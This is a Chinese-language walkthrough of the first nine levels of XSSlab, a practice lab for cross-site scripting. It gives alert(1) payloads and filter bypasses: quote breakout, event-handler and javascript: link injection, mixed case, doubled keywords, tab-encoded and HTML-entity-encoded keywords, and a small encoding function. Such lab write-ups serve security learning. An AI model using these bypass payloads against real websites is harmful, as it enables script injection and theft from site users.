环境搭建
XSSlab的搭建很简单,下载好压缩包,解压到phpstudy的WWW目录下即可访问。
源码下载(t8t7)
如果不想自己搭建的话,网上有很多搭建好的可以直接测试,比如:
https://xss.angelo.org.cn
前几关还是比较水的,直接把做题过程记录下来好了。。。
第一关
如图所示,第一关展示的是我们可以通过url中的?name
参数,向网站提交数据,然后返回到页面上。
那么直接试一下把name
的值提交成弹框。
level1.php?name=<script>alert(1)</script>
成功通关!!!
第二关
第二关是可以在输入框中输入一个数据提交给服务器,然后提交的数据是会被显示到页面上的。
此时再使用第一关的payload
已经是不行了。看一下源码:
在这里,提交的scirpt被当作页面的内容和value
的值处理了,因此没有形成html结构被浏览器执行。
这里有两种通关思路:
-
尝试一下闭合
value
,然后构造一个script
标签进去。
在输入框中输入以下代码:"><script>alert(1)</script><"
这样,原本的页面结构就会变成
<input name=keyword value=""><script>alert(1)</script><"">
从而再浏览器加载的时候执行弹窗。
-
也可构造一个点击事件:
" οnclick="alert(1)
这样页面结构同样会改动
<input name=keyword value="" onclick="alert(1)">
依旧可以实现弹框。
第三关
先输入一个<script>alert(1)</script>
看看效果,
通过源码可以看到,输入的<
被html实体代替了,因此不会被当作页面结构处理。但是可以通过闭合的方式构造点击事件。
payload:
' οnclick='alert(1)
第四关
第四关是过滤掉了尖括号,无法构造新的标签。但是依然可以原本的标签中添加onclick
属性。
" οnclick="alert(1)
第五关
上来就是一个" onclick="alert(1)
输进去,看看效果,发现没有弹框,看源码!!
这里的onclick
被改成了o_nclick
。。。。
那么网站可能是会自动识别onclick
这个字眼;输入"><script>alert(1)</script><"
时,结果是script
被改为了scr_ipt
。
遇到这种检测机制,首先想到的就是大小写绕过,试一了一下,发现不可以。
既然无法新增script
标签和为已有标签增添事件。那么可以尝试一下html的其他标签–a标签。
"> <a href=javascript:alert(1)><"
将以上内容输入以后,会得到下图效果
点一下就会弹框通关。
第六关
这一关和之前的第五关一样,会识别onclick
,href
等关键字,然后进行改写。
但是这一关可以使用大小写混写绕过。
" OnClick="alert(1)
或者添加一个a标签(仍需要混写href绕过检测)
"> <a hRef=javascript:alert(1)>
第七关
第七关会对一些关键字进行识别,然后删除,比如<a href>
会被改成<a>
。
对于这种防御机制,常用的方法就是双写绕过。
比如网站会识别script
,我们就将其构造成scscriptript
提交,通过网站的删除后,就会变成script
;从而达到注入效果。
这一关会删除on
,那么我们用如下方法绕过:
" oonnclick="alert(1)
或者双写a标签中的href
通关
"><a hrhrefef=javascripscriptt:alert(1)>
或者双写构造新的script
通关。
"><scscriptript>alert(1)</scriscriptpt>
第八关
输入" onclick="alert(1)
测试并查看源代码。
可以看到,这里的引号被实体代替了。因此无法使用引号构造闭合,但是网页提供了a标签,并且输入的内容会被赋值给a标签的href属性,那么我们可以在href中插入javascript:alert(1)
实现弹框。
直接输入javascript:alert(1)
发现script
会被识别改写,并且大小写绕过也不行。
那么可以使用单词中间掺杂空白字符的方法,妨碍后端识别指定单词。
符号 | URL编码 |
---|---|
制表 | %09 |
换行 | %0a |
退格 | %08 |
注:掺杂以上url编码的payload要提交到浏览器的地址栏才能生效。
level8.php?keyword=javascr%09ipt%3Aalert(1)&submit=添加友情链接
还有一种方法可以使用提交框进行注入:	
把	
插入到关键字之中,如下:
javascr	ipt:alert(1)
发现网上还有一种解决方案:
利用HTML实体编号进行绕过。
可以将javascript:alert(1)
编码成
javascript:alert(1)
这样后端php不会对其进行改写,但是用户浏览器会将这些编码进行翻译,从而转换为javascript:alert(1)
弹框。
这里是大佬写的函数(本人稍作修改):
def unicodeHtml(orgCode):
fin = ';'.join('&#{}'.format(ord(x)) for x in orgCode)
return fin
第九关
这一关和地八关的防护机制基本相同,思路同样是在a标签的href中进行注入。但是,此处对于href
又添加了一个检测机制。
我们还拿上一关的javascr	ipt:alert(1)
检测发现,页面会提示我们输入的链接不合法。
这是因为后台会检测是否有http://
字段,但是如果把http://
和javascr	ipt:alert(1)
直接构造在一起,弹框就无效了。因此需要把http://
注释掉,这样后台依然能够检测到http://
而又不会影响javascr	ipt:alert(1)
的弹框。
javascr	ipt:alert(1) // http://